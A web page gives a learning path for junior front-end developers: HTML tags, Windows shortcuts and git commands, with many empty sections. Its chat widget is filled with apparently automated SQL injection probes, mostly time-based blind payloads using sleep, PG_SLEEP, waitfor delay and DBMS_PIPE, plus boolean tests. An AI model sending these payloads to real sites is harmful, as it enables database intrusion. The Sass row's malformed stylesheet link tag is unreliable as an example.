Learning Path for Junior Front-End Developer
Becoming a Front-End Developer is not easy. There are tons of materials on-line, but where to start? What is the correct sequence to learn? We have designed this Learning Path to help you grow quickly. But the Learning Path is not enough. So we are also creating resources that will help you on your learning journey:
- Tests with Questions and Answers
Our tests will guide you through each topic step by step. If you manage to answer the questions yourself, you can proceed further. If not, you should continue studying the topic. - Cheatsheets Our Cheatsheets will help you to verify that you remember everything you need. Use them every day to find out what you forgot and use them while you work on something. Try to use all of the things mentioned in Cheatsheets. This way you will build solid foundations for learning more.
HTML overview and page setup | ||
---|---|---|
Goal | Details | Related Resources |
| Element, tag, attribute, <!DOCTYPE> , <HTML> , <HEAD> , <BODY> , <TITLE> , <LINK> , <META> , <SCRIPT> , viewport, charset, favicon, assets, CSS (styles), JavaScript, path, file, folder, relative path, absolute path, root folder, current folder, ., .., / Exercises
| |
HTML page basics | ||
Goal | Details | Related Resources |
| <H1> , <H2> , <H3> , <H4> , <H5> , <H6> , <P> , <DIV> , <A> , <IMG> , <STRONG> , <I> , <TABLE> , <THEAD> , <TR> , <TH> , <TD> , <UL> , <OL> , <LI> , <BR> , block/in-line element, whitespace, <FORM> , <FIELDSET> , <LABEL> , <INPUT> , <BUTTON> , <CODE> , <PRE> , DOM, id, innerHTML, innerText, outerHTML, outerText, parentNode, childNodes, parsing Exercises
| |
Basic ergonomy and efficient navigation in Windows | ||
Goal | Details | Related Resources |
| LCD in an eye level, sitting close to an edge of the table, stretching, yellow light at night, dark theme at night, lower brightness at night, Alt+Tab, Alt+Shift+Tab, Ctrl+Tab, Ctrl+Shift+Tab, Arrow Up, Down, Right, Left, Windows+D, Windows+L, Ctrl+Alt+Del | |
CSS overview and setup | ||
Goal | Details | Related Resources |
| ||
Bootstrap setup | ||
Goal | Details | Related Resources |
| ||
UI/UX for beginners | ||
Goal | Details | Related Resources |
| ||
Adobe XD for beginners | ||
Goal | Details | Related Resources |
| ||
Command-line for beginners | ||
Goal | Details | Related Resources |
| ||
Git for beginners | ||
Goal | Details | Related Resources |
| git clone , git init , git status , git add ./*.html , git commit -m "A message" , git push , git fetch , git branch , git branch -a , git checkout <branchname> , git stash push -m "Your descripion of changes" , git stash pop , git merge <branchname> , | |
Markdown for beginners | ||
Goal | Details | Related Resources |
| ||
HTTP protocol for beginners | ||
Goal | Details | Related Resources |
| ||
Sass for beginners | ||
Goal | Details | Related Resources |
| <HEAD> , <LINK rel="css/stylesheet" src="url"> , Parials |
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
RiceHawk18
e
e
RiceHawk18
@@xeDO0
@@xeDO0
RiceHawk18
1'"
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
e
RiceHawk18
e
e